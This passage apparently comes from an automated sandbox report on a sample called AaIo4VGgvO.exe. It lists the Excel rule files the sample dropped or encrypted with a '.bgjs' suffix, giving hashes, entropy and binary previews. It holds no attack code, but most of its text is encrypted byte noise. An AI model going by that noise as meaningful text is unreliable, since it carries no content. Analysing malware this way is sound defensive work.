Preview:	<?xml_.:U.]JqZi...N.5.`JRzg..6...n....W.".?.pd\.2p....m......o..?.J......s..VvZcT.:~>...S."J2..3.........7..j.Rkt.._.}..G~......m>.k.sH...V..<..y...R.%...\.}.Y.!8...;.V.....-......<....T.e<...5...Ns.fTn,.....T..s ..ZNCicv:=Or..o(..}..hAB...\%'7.^.p.(3i..vfN....g.........X.9.u....}f.......<.?.Z....%^..mS...L..]..............@oU#.\|[.A...B.IA.7..+.-.........b..t62.h.....G.3.m{....A.Ygb0m..I....v............./fJ....d.(B.7z......D......\|...D.93..xp...c......0M. .....y..\>h..........D...fl-%.._...&..V.%.....A..s?.e..^.~.vD..x..#..w3...Q.Hm#0..Y@.....v.,....q.h~N..?.\k...+z.(r..f...!.I.k=....uDo......,.B.A../.<.....R..i..K@....../..%.e,(....J $...1......&.{...IC{ .E..~.,b#..L..1..k2n.....Z......o......x.4.....lJL.6.....".."[..jc.....g).Q.......<a.m_....#5..rw...f..Q...t.u.;8....{.efT=.+S.`.X.*..r.8....T...p...+.z.T..S..{K........\K.rQ...Gw.0......J...y..`.Q..Q.]K.'..6.v.v.l.iL.=."IR.41..<..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10906v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.869349741121832
Encrypted:	false
SSDEEP:	24:LLRY97a2h22vUmVphorXkFWgBNmgtw0TwXwcjBPp80kQQD4rSD8sm4f/ibD:LLRQa2k2vUmKrXUWgB9psXwcjBPp8iQK
MD5:	591470576907DDB4AD4267E65DBC2C9C
SHA1:	E2D261A5CF0476C8EAC33CE222F99EEB663589C4
SHA-256:	107EE12C54F220499C3F6268786125FD56AB387109C852CCE0B01DF4F62EE20B
SHA-512:	55276323098E408F1E2FB1A3FFC4A7D8B0E1B14B75D5805559B4E5EBF3021B12E65BB4375452DEC9F8133544BDA31598365C88DE358BE7A5A6E771A92CC72517
Malicious:	false
Preview:	<?xml.v......z=yR%;U........]Y......X..f....4..O.@I.....z.]..._.5...)Xjl....G.............U ..Q.....A.\|...+.t...1.....b...&..B.H...m+..R. .,..>l.y.K.W]0^,.~.4...4.$f...1..V..)....rB..N]oV=.%.....cV.3.......KZ...j.r...)H..=..Z.....{.1..j.N..W...(..Rc..7hg.".m.....q.x...}..J&..s9.K.&..c.Q.L!.#,..]..0T.m8..{....uQ._...9w.<m.....4...!4k...........G.....h.{...7.!.R....#P..D....?..Lq.>.E.X-..=_..;...R,...-.s@.@0.{..3.^a...%;..N.h.;..q...%.V,.u.....>.@...t.]m.v.U...............RV.Ws........'....%.hka.SD.........U...y....\|..@u.3.....%.............@......z_.pJjy../.........p....7...".@)a...x{m_,....X..34..4......:...6.&.]z.?..,..2....&F.ts=.....]?./`o.fp..X>..,......e<..~.#.......V..).{...#.m.b.R..Io.....P.....A....#`..O8.h.TK..q.nq.. Mm..f..G....q:.R....~..;........D#.Yo. ..H.D..vO1UI..`..4....H.@..K.J.j...Y.....$..o...)Lo(..c..?HL......6T../.......E...D. .X..i...j....P...0.W...iN.1 .jD...WL6.zB.d....=-....B2.....].c.Y%..........'H.#

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10907v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.772285352728296
Encrypted:	false
SSDEEP:	24:/kENtSzSx6m8hqRvsrvpEvxidwWuZqKVDoI/kNoPO6bD:bNtJYB+idShVDoYIo24D
MD5:	4FBA7107CE9EB9916BDF89963842A2C2
SHA1:	85209401977FBE699DAA6DD7ACFC6AEB5191DCE6
SHA-256:	88B8A44A80F14C190B6C2DC8F2A34A065BF0AC2BFB608EE2B5AF59A4282A1D7B
SHA-512:	FD10E0FF85760547ADE8995D9EB4618C56095AB0345E4BF0681BF4D8E8A574C067E4CDFCE98B28FCB458E75E4FD74A768F127C749D5DF414178F8C7F08933F41
Malicious:	false
Preview:	<?xmlpd~.S.......l.l!7..C.}.+......w..f..@;V.M.r..n4o"..-j...P..I.W-z(t.p\...K...!Yki...h....?E...>..+V..q..(p.F.6...E..lqbpsS...i...l......<..%<.o...u.2..].n..2.]..%B.[W."........._y.......W.I..OW.....t.X.`.anxt.kU.m.vJ.s..C.+..f....c."..C.....Q...1..ew....k.W...`.+^...3[..2f$)r..n./.......H.........5...~...y.z....^....I.Mx.h...o...G.O...4..?.z!..Z.PK.'M...f.>.%!.ut.Y...`.f..h..w.....J>k...7.S.I...8....{..aE7%.M.X..jrJx.L...E.mM,..K..i...c_!.?p/....D.....u.;..K...W..S..........N..ui..........sp..{...t.....TJ...;...Aw ..K.`.zh,.e>....g.?@\=Mm.Ec:.....p.....a...!....a7j.">..Z..6.(6%wz'1..`.......@.6N......q..`x..O...I.?.Qg.&..a...?i:w.?.W.Q...}.o.L...~..Y5.g...3..(...Axo. ..se.S?. .a0...0.LA^...q+.yi.G.....+..$.@..4..x..Z....?.&.2j9.U..`k.kOZkE.X....'.{.3.W..LA..........S.+.)c..}R.{g.....<.....\.lHNK......aZ^SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10924v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.758171342132975
Encrypted:	false
SSDEEP:	24:OpuxkdOoTgytCt9ycZCnDyE5QNKBgSCIGhCxojbD:sUQOoTivyNDyfNKBgn2xQD
MD5:	0E27F196654337C3FF303AA710BD5608
SHA1:	6B7258BA44A8118E28FB6D5899C64967F081F5B4
SHA-256:	9A15DC1D6D8AB79A5DB780B8109776D184C8FCDCE2F89542DB4BF6C35E2D59B5
SHA-512:	B8DAE4099308EC42B22189EF943B7280D9E5BF6C77FD005E080699154CCE5D0C517AA35F319545101876F213F8F3D47CCA61CC7AA76F8292673350069BE4209C
Malicious:	false
Preview:	<?xml....i.:%h.^C....mI.\|...`..j.mvRa......-..jK.3.....p.....$j....,........807>.g.:S....._.7;....(D.:.c....2.!..a.z4...P0f-..e.....4.1.V(.P.+.....iX..=,Y&!...L..9..r._.Y.>........^{....@.P."...Po...1cK.{.1.uX...9.........\...Q.KK....N......3.".c...........e...c....E^..._......F`...6aH.B..i......k0'8..=Wp.9.1.nO.Dj+..cP..a........S.@.....@qT.....Ls..V".\|.z.7.......cTu.m......i.1[.N...q...o.I=`Z%..g......Ml{.sZ..M..H..D8......A.N.W.L.wP..'U+/..@.K..>....]...Y.....B..c2.V..N.....e....n........`.._...K..h..~...#..{.].....t\...A...C.P.(...c3...H.-.cP.&a.O.2...1......ha.....,....H>=.h..b&h....$....B...^5`l.WS..]..%...$I...jr...a....."z.F..........v-2!}...J..b..LA..Mkl.{......L`.w...d)...u&..\|.....b.;...0.N.Ka+N.Xv.....r.3".........ci<vf<b:s..K.u..R....'..N:i.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10925v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.815654568203313
Encrypted:	false
SSDEEP:	24:qen7qOilQtMdObgA67+A4nRAE8pxJVg5+c4+OkY6abD:PslQmYTvADpPa4+D4D
MD5:	804C15057A4FA94F915628401A5E6A1A
SHA1:	607E733EC15A91D2D68EAF9A6596A11564E41A74
SHA-256:	9A57D86E3332F006F42810EC1D53FD299AD88D652CDC175E8B3605F3B7D8FB2C
SHA-512:	4C9C2097E4A6BDD05300E9A2C0ABEFD44F5E695A7052C4978F835BA060F4180037A8A4DC7EFB1BD227F843CB2C11680EFA6CCCCB4BBB75DC0BFF7824D2A01486
Malicious:	false
Preview:	<?xml..$@ C.W.g_..<.-.f.1...I...E...n.o..sU.w..G...K0v..^.6.............=.w..G..b.=+.6$....5.....l.........2....P.$C.MV....`..yD.eg.o.=.r..E.d~...on}.rT....8.r%e..)[>....2.R..u[.gm1'O.....;...>N...y..~v......q."7Nr.1]..5..$.....G....}'..R.3..8....a].LE..+Y....i.YkR....Q.T.........0..9../[..]}.....7..?L......\|@f.)..w..r.O..n.8T`...a....H..-....h..\|s.\2.y....3iM.f]...dy..vbG..Wbw..B....(......M.).YS.Z#....\=m...>3..m...4WyQ.#...A.......q.,......n......Ys....;]....{W.!..N\|..P.5;.g.aK.k."..U..u..'.....k..)...\|r..sb.+...e.q&0x...UR.Y..^..}.<.F%..'.......H..t]_.w...g..Tl.%.....S.[.1....x...g..5B+.B.TL'Xo.`..,....iu..X.8+(..C..q$..&..t...U..4.E..O.....MjK.p..Zx.......X.6......F.....Ib..Mp.k..+e..G7\|..`.P...\|..V.Sn.M..%bh....<...z=y..B..=.B+..:..7-.kz...U.$6.x..Q..$..!./.5.k........9S.CA.0@K....n.m.C.....H.@.'..%..u...1...]9W.J.......p..UQ;...z.TK.Y...6}.^@..E..".l]....`..[..j ;O......Y.M..Y._.6p{f.h?.aY.SLibyJ8nZP43K8X6Ycor9IxvOlsKH

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10940v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.74852500777904
Encrypted:	false
SSDEEP:	24:PQatTb+0FrIR6aMYmB+Io2Gl5TYYMC/GbD:XJFrsEG7ENEUD
MD5:	A12C8520C7DB7FA732A417DA8EB210E8
SHA1:	A55917047BECC3CA2A29B82719D1FE1F4BF6842D
SHA-256:	FDCE196B1C3ED584DED53BE37A78F092C51DBD7944782A22832D0D32449E2AEE
SHA-512:	489068E65CB6B9BBBBF560C83FDA9A076C563A80DFB91210534F500C2146AF8999C3B8139039E96AF53EA2CA02640C60628C307848504324BAEFB0CB284EE715
Malicious:	false
Preview:	<?xmlV.t..D...$#.L..#x.g....!....Krn.wU...O......5.......O.x=.#.3..8....f...8....m..&d..<....W.Kwt...}..C...yv.8..'m.g2...fb.....y...j=./..^k........T..w..........z........f...8.m....^.=...D....(.J.q=...Eh~..n..9....D.<...}...Jv..HA3'.....>.P)./.6.........._yD.9h..f........N.e......B..Nj<.n.q...W........<...V?...t/.x..cuH..;#.;....1.X..;.........y...5.if..o~>..z n.DW..r..~Y.....[..(.#...V.5s.'N..v.t....6..{..]Q......L...d..s8..F.H../.$....R...J....B...q. .\.&..].../axbL7.Y[Q..;T.m..............h#.x...l..<..^}..Tf.E...Jb..b,...pXR].d.5...fJ.#[..X.0..z=..).s\|_O~.q./....Es.(..k.....4.H.vB".X...."..........k.R1zF.+>`y..I...5..BH.d5...........F...}.w>...*b&.g..;.zd5.Z.hR..~.(.G.hnA.0.4x...5.RE.4...`...eC?........i..xc.c...g...z...`....?.$..4..a!.[....PSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10952v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.976785698926498
Encrypted:	false
SSDEEP:	192:wUutwU/38I9lV5Nn+/dgpmyk+KteszYg76s6JrcQUh:OwY35Nn+SIyPdszYRs6ZcQUh
MD5:	B9DB20DC6A20F76F6B1BFBC6B81FE9A8
SHA1:	220F230121A407504012ACA39AE2E2113089CC1E
SHA-256:	202605523F155ECD55628CAD71C3A2C74AD458DF76B7B483E3993234FDFB11B9
SHA-512:	8B0D1D1B989BB1D43CF67D6AE4B5D6C82CB947EE68DB3488CA001CFD26AC1D811478CF124A66177E448B520920D5FB5122B9CB0BEF47F7DC8F2764C1E53DAB98
Malicious:	false
Preview:	<?xml...~...sj....<=l.....D...d....\|f..1...C...T..L7.J.!..n;.....cr\3......\|.~.p.X.1:.0.woy..P....'.w...b........j...i....v..+V.g..}.uy.J.D.8;yUT..ql.<[..".b..u.... .=..-..VZ~.gL.>.......F.e."C......ECy.R.....;.h.0=m.0...RCD..Y..\p`OfB..L..8[8.r...:.1C+s.U.....&z.dr...Y.u.....6Md..?.H.9.....>...%.m......X...:$....#'..#<.b.&&.Y...N..S.g^(.G..{. .).-..]..0...........D...hb.nR3..$....$.C..R...%/.......tJ/~......F0...../."F......X.V%.....k.9k...&.:.$!.5..'.v..{.j\p.I i..~.....c..g ...4C...V\|.2..B...!...ToL..g..$._....dq"...zL......[...A....X._.6..y.[s..s.....t..k.u.T.B-E.=.p!a.......r..}.5....5WL....xd."u4.........!g.......j.mub....DaY.y...<k#.y...+.h...._.....\....!9...Gw.H...\..T.=. .."`.3).8..'.ex...E...&y.gk.}.T...d!2....;...%X......vST..BX..X..4.$d.2..; 5..x.1.J^..<ZNH......D.....^.C.n.....2.<=r..K.x....w...N.n...4...Z..4n..&v...c.kE.K..3.7K...H.+.f7...e..;F..J....w,.i......3.'.C1....,...G.~6..T.FU6V.o.0i.<iHM.....m.]N...J

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10955v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.835439939174748
Encrypted:	false
SSDEEP:	24:KNLuVESnf2rmKjOKSNEOgPocH0oDyBJMdDSGvRAebhdhgq0EmFGrjbD:cu8rjj76EOZm8qQm6c3hgq0HsLD
MD5:	70195033CD820BC57CB5BAE842199E9E
SHA1:	1F62CD703468CF78B90E329842E973A98E3A10EB
SHA-256:	C537F8317ECB14421119DDE43DC2DB65EA39996A502BFC545C1CC81173E18484
SHA-512:	FCEBB33BCB908DB19B9B07954AEFCBB13B1722FDAB7481635C6C76E27B73B5E54BD505D2FB1BCD6E31DA4172B1AFEF2C22F37E9C8E619CB629878F6755D100EC
Malicious:	false
Preview:	<?xml....p.c...@A}.#Z.Hl(&.qQ....{;`b.(. h....3+...Zn.<8h.ty3.......e..r7.h..b....O....F..H.t.}...p!C_C.e<J/..f..c.....ob\(...(Z(`A.._E................7r2.A%.$....d....^+...O.x.b.(h...O1...[.[\..V.y..j/...:&...S.h.......[)4"..eQ\T.4.Q#.@.Z. 9..?X...........{..V.].tWC.;w.B...{.E2..gXY+..]~.}...!M.?......].....q..........6..~.c?.l\JiV.6lI0R<...r..7...!Z....1.N..~FW..@C...q... W.NdB...;C.a.5..2z.Z.LF...... q..._r.b..O.8n.j..R.S..8..'..t...P..qce....b...r...j..X.Y....l~.'.m....m..b..l-@-./_;...U..?......r........d..[a..\..r.....h.#...l.@`.iI..0<l.>.Z..b....q..[Y.....!.i.&...$.xM.s..~V.J15<.W.9...V.=.d.T.<.q.l9.....W...7.J....:.(..e..e..U..AS....cF.....(...B..z.#.6.J..~....(.Jm.X....N...c.......v.>.....[.....dQ..^....=G....6..a.......P...\|2...Z..._(...Ab...M.J....e..H.w..Q}..N..$....\..f....m.A........!.............br2)o{T.fv.a.t..C........}._........7. wpp...ic.....]H.t.>x..k?.D..^._.....n.../D..[..\|.:b.ur.\|..u..g\.K.$

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11150v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.817235954497416
Encrypted:	false
SSDEEP:	24:ZEbGJMP4sA7/9VvWvvlCUEzJAMH0euHL0/g2rBmLCdwSRWqbD:+bGN71VvMHlMKHLI1cLi4ID
MD5:	BB103314A1AD0A6658C8050666EE35F1
SHA1:	9116BF93A33DDE384F69D1F8E0830EAB4B29C270
SHA-256:	7E72C429DA392F97731A8575FE4B644F49CF31901D0BACBB18B1ECA6DB965399
SHA-512:	DFFC082A1435060A5D458F0ADF42C2F52449A614AABBABB4B9E97BCA7F64D3AFD8199A1647837F973CD82809BF854705B0D25F386FB8C553618886ED88F1E289
Malicious:	false
Preview:	<?xml...E....!.+...$......?.;a............[T...}.......b.K'.....^."$.BO..D'.Dd.qo.:..F.r.U.TS50..MD....P.....).%4#........IH(...{....O..:5V.E.....1<r..+.s....s.J....?._I.V..F...IU.D*w) WAR..r`O.8..aI.?m..s..;d...T..Z....b........B'........XQ..`JJ[....g..%.....hWb.!C...}...."..'..Y@t.X...........9.j..y..s."1.2..N>e.7SOT}3.jo..]O...J5c.K..9.H.c._j..0k.U.E......N&.&.S.w...P......y..!L....%..0..g{.=>...H.#....u ]..:..6......-@...j..b..^}-f..>...T...>0.=..:..'...\i...+/8.UJ\..../w.1.). ..o..u...u.-0....r.b...UKV.8..,kUz.......<...A?./.........U..6.(..q.....E...[A...q.....?....#.%.......&.2{J..Ua..T p.K.X.I..j w.z.p..E.r....%:..4K..3F3&R......a.X...T......CZ.5>..Z..}..k..b.EObr..-..5....[....tt..FX.q.w......mm.N......p.j.z[.W.m..L,H.D..G..y...u..Z.F.mc.S.M.Zv......X.g..u{H..W......m~V..^.).oC............~..0[C.6.v]..I'..}.w.&.n...,._&c.,.....YkK..o.y...D...c~....4.<F.J..bM3C.@\|.....R..[jg....9.....vJ.!...d..l.t...ru....k.x...}F.`KO.q

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11154v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.809830485777014
Encrypted:	false
SSDEEP:	24:xFyxaq1fRWt2x9Sc2agqhhB8NW+qOLi4rJc1YetQ7BDUyyvwobD:uxaCot2x9SB+V8NWv1YyQFDUfvwyD
MD5:	7DCCD8386F6720D62A9F18C0E9714BDB
SHA1:	C958603C3C732E2DA258FD718503A6518A0731D6
SHA-256:	6CB00D08DB78ADC6A4DBE957B16C450B2D3EA67F9EAB3223EB07A7795466A5F3
SHA-512:	A9716E7493A97B9C0A9548EF3808F2258AFE33B06986594B06B8C96265448B8294EC2E67B967618D23CB59CEDEF66EE7594F7BA4776191F3EBD408021AB3F900
Malicious:	false
Preview:	<?xml;.VOv.y....F.5....i...,.I.........v...z]K.....!.3.....=...k......n.;....bI...3cmeK.}t%.....1..8../Tp]...Y%..x.......x.:my.>.[.4.H..)p.X:. PF.,.S.`<6-......._......b.=.g.k...~..._.,.-..v...'...Tnf.....mSh>M.....$1.r...>..o.....t...T..935..".*...O.NzH.n.".`~..2..1a.`.B.{.QE..Pk......5'Z..x.+H.(C.J.../....-.^..$....;........X...N.h.Y.......`b.....0H.g.".t..R...9.U.,m....@...{<.`....H..b-.>..9.....K..vsA....,....A.X.d<.AWM..\Y&.}cY.`jsj...o...kv..q...'....4.>...........J.... .....O...e{V../l...U..ZY..[............[iYm.jJ\4.8,+...63k..D=...M...58..nA.K.&.J\Y..%.@..3.)1...O.2?..&..Q..%<..e(..$..o.=`.,)\|q...g...~J-.7`...._.).}.x.....-.A....[I...............\....:;..n...`Q>S.S.......[...E..w..O.9Br.?.^fN.NbF.&vS..N?w.1..<.B...I+li.kT.V...TN.>..~O8...{..Z.M.N..._i@q..J.5.2../n.{3..+mN...>j. J...Q.....6. .).~..TI...@.H8......uz9u..x..F.\.RM.._..i...F...f........}f.....-...M!...... .!+..:..$\..#Jh.^]...Q..;u.b>&./..h'Z.@..].6.=..f.[#SLiby

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11187v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.929587162316186
Encrypted:	false
SSDEEP:	48:2rouM491Y/vA+qQTQgGU3R15zCW1A+zPW1gZrnpy+vxa8bqycs9ucrVYNVMIbk7D:2V98+QIUBrzCWhcgZrY8NwaZYN2
MD5:	69749855DC94E6F68C2352BBA9420C6A
SHA1:	02A3FA2A7A385891B9931336236B585806455D86
SHA-256:	DF4BC8A1FEB93D0806E363F50408A703DBAC3443F2BE26E5C6FE998ABD302090
SHA-512:	8D04AC84DF2540D26F397E1BA4677B129FC89171C60D8341F8293DD3A36A42143EB24208D6771CE8EF3C398EC7F2CEEDAA95DE4038C0EC76D237E6EA98B022FD
Malicious:	false
Preview:	<?xml...'.lL...PQ.@ki.]..^..&.P...)t.......m{EbxiO....PAH..i.c?f..P.q[8.;d...A??X..~....8b..h.~.....4.....Yeo...?...h...v./.........K....C.B[..~4g$..........m.#....e...=.}.....h..Y...nKI.R.g.Q..V........x...^XJn....m. .............q'.>m.c.I_=..../U..C..r...JX..{.^...."T..20/............"B^....iTm..e.n..\..!Xf..,..U._.4?.....r....,.\|g.!\...M...Z.]8.&:.c.}E.`;.Kw...3..........Oj.B!.9...B#..TY.K.0.....u.......;j(......f[R>..%...?.....MW#~.B.....S..R........t..._..t.rR.w... ..k...cSB..\&D,..t..i....R.cQ..m.z.....X....P...U:....~.i.f....Z.e.pM.WK...x.a.gj.9..;......6t.L.[!.a. .T...V......4..=..e.C..<.D-..U.-...nb95.x.Q.y8..eC...v.....@..`.2yBH...!U\|5#.T...Z..C..........d"..F.T'..l...X0...['qj.Hv...:...7..,.xd.c>>j......k.........F.;G. .I.....-.U.....J.3.!0.P......@....7-7...e......f..S..b..\.1..Aw..:36..n3..[..R.....WY......@.5...........6...(..._..t..."..'..,....X)y..X..p.\|.e..).....".H......~..5....k.].YS..S...G...Xos.-P...i.......)Jx.R...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11190v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.829919993168439
Encrypted:	false
SSDEEP:	24:E5G/hmgeLxAUjeDvMBNVUhsqg8Po3r/474GHAA3MJgH/hlblrfSxbD:E+p8uU8w3b47trM2H75fShD
MD5:	E8CBA54B272C3281D622F528781FD922
SHA1:	0A90D97395D10544CCA117051B2F66F21DD36033
SHA-256:	1FE32D6CA5565F57E62E933384A966353B1A6B921314AECC9378B00893577EEA
SHA-512:	87E8B18409023E56FAFC3F2B432DFB0BF5DE2CDF3A26A3B774412D280465491AABBE05AF51E43BB9780A9BA06767DE5B2B520B621C514DEC1BA612E61924400D
Malicious:	false
Preview:	<?xml.....w.W..}.^..pYo...E.C<V..9....#k!..PxX..<@7.P0..H.......6.'....5.~.^.X.,.@.I...1.Su..~O..6..J.B...!X[..v/......V.<Z.T~O&.}..X.yt..(..P.......; @.L....(.5.N2..x?......K.a....,(.....w...X{$....o..?LS......cXDN..iq.L$~!.....}.?.y&.(.n.[..o.O{....a....M.H..i.....k...&...}'......?.@........W.x.?.N&W6}.k...\..R..v,..;..4..........9.o....B'i.{..^..a%.]1..~.......KF.e..6e...ag....1.y.%.L.l....rM99........(.........qT.`-....OF...^S..Z.....%...HS{... Z..?.X=..a......x.p...1...l.:.u..l,!.T.....$6..L?.c..V.'..5H.I.a.TO..2AQ.......]....{r.n:......=........&.[..V..~T...k.<..j...(j.........,...c..7y.d.N....V.,.X~....2..j..A...\|.i..q....a.._...S......+...q../..A..."^5.<.,.....B.P..Bt..[...=G.4F~..{.j.K.V..tu.j............/+.L.p...=.b....S.?.#........E..b.......2Hq..../...2...\|.}q....d.8.-5..IIq.>..\|.\.6.....N..0.g<.^.......UZ.Xm.r.!1'...;X.G..g..c.'.M.d.R......h.\.#.&...&..#..N*T......Y.T.Z...>.:".#....N..4..:..l.yA......I.D:..Y+..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11195v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.9791669044929865
Encrypted:	false
SSDEEP:	96:ho4Iem6KLvZRuM2Uh8v98NgNfnxlaI6V1h+aowojVbHJlRE4YBRM8Xc+GBN:hoxBRuMHzgNfnxx01WjVLNE4YHM8XCN
MD5:	15592C7625F7608DE6CBA83C7B4E1EFA
SHA1:	0B2596C4389EC84F995D0FE6E8C5318D691F4010
SHA-256:	90583793EB90E9A68246D68ED792A5406469CE73838EEB5FDF6CBD23475F3981
SHA-512:	8EC69B5177C0BB46B42FF5641C02424BAC3DEDB561BA249134A223938FD39E914B5B907AB4A3CC85CB004BBA3604837E74C4838459C47B389801320E823E5C1C
Malicious:	false
Preview:	<?xml.._..e.$.m...G..i..~..^5.2....S.......}.X...._x.DUf/...........!8...R.....=`.P94P.............h.8.>..\|.`....\.......yf........+O.E.u.. j..U\....?.gQd#...w..n._...(.p..r..fsW..t.&xj.".Q....VB.o....U.}.A.v....\|..K._]..1V%.\|4..7pO...uE".F.y%...?...W..O....\|.....v..7.Dy\ .C.[...%KMh).... ...C...s....I.,&..>.E./8.6.^...'....}p.+...r!(G.......'.L1..y.=...t.+..~C....z..\N..&....e"...:S...ua.QFr..C7...........5...tE'..A.s5bJ.........s..]...WgOV....M..&..e......3#...Rt.Tv........Fm......9.\h..<.G..'.a....../..s4.!F.U..p..U....[P/.ew.V...]..]..E[.2.{.bLPV..0. ...1..<.....[4$.J.l.P........{.!3J.."B8..Ji.a8.O..K..p...~P..O...,....sI.#..3.'..@7#.".....pr. ..g..0?`\|".6....t..:.:......5e.M....y....RDg7.]..p.k8....f.a...{.......9.o....g...B..bE..;....8BS}T.7$}..wp...........f......G....u;..wM\...$.*.....0.........<>...Y#e!..M>.SDe.(..=...'............5..g.f3.....Sn;.3.,.3\|..@......`.Z.pH...{.;n......Z}XV.uW..m.Q...c...j.w.F...<...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11208v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.693889219234067
Encrypted:	false
SSDEEP:	12:JHKdSN8dWGU5pqDCL/SFVKHjFYnzVqrqc6tJqIRQtD1sPU9JN6aC3fchY22+YzLE:wxU5pLafmFYnItQFsJqVf4gL7iDbD
MD5:	44EB173EEF89059EE3B709442C911436
SHA1:	4C7772D7142A5AA5B328364EDD15D0660C6C474D
SHA-256:	21B4C0656D868CD66CD0B143F67554837C3D9AE64123A6B52CBC8982378FA0E6
SHA-512:	FB5165F0C731272B8ACB16F02DA0BCA65BFBA254E583A75AECA337CC9724068B7B57F9F27E1671D4DF034DBD614D90E0F46E0D3F442F484C1F459E437F952E32
Malicious:	false
Preview:	<?xml.._gNC...xF.@..@...E.g.n"...h.5.W..U7{._...#.S.B.(QS..z...D=t.^..s'....(.6d!kY.P3.O3_.+^7..@G....0.{Z......#3.)..%."...'1........+63G.Qi...v;.:..)L.w..\a...&..N..g.6....&.HL}....l....S..n..lb...._...:x.xt..rC..4.v>..ve.u.!.1Ru)\...7......q9.$...c{)-26..=...=..R.".=..+i./MrK..(.z\.e-Lp@!Q...8.....{J....y{..f.y...$....v.G...F...w..QM..w.nZs.>..,.[..v.}..........m..n....4.g..qp.3.L.[kb(.?YB.q...::.".....J.?.x..`R.;T.2....n.L.p.x5..D.kG.7MRw#..z.".....8.:...QB0w..8 .".;...H..G...VM.../E\|.....YNl.....AQ....^=..........l...z..GN%.."N...O.........Xihi..5Pg...".G.3.Iv...T.$kFb.....d...!L.:D.N.I..^......]....-.T..M..Q.\|....q...E<9c.A..:..v../!W.\o...7..[.q%..e..Me.t.Z'.....w.;A..=.w..7.wq...1.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11209v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.896761532716765
Encrypted:	false
SSDEEP:	48:UNZvg31myMNm4dGTEf+h4CWyOPyVeLC46biZFNpPKvD:UU4yMU4dGTCE4CWyOPse+46oF72
MD5:	FEB9FAEDFDB27DAEA8E220924629FAF0
SHA1:	0FE6CD0D8DB1C184DC15BA64C5501D687673AA1A
SHA-256:	83FF0015CEEB701A7112AE32321DDBAC261EAE3075E69484E233DF74835E0371
SHA-512:	AC588F6F48B4330E67A663939F6E4162A3A6BB18B7557C528026CC5B6752BD0E6AEF866A1C5FAD44B148F74F635A6D82594B5DA0058A769B675D3FCE401E36B9
Malicious:	false
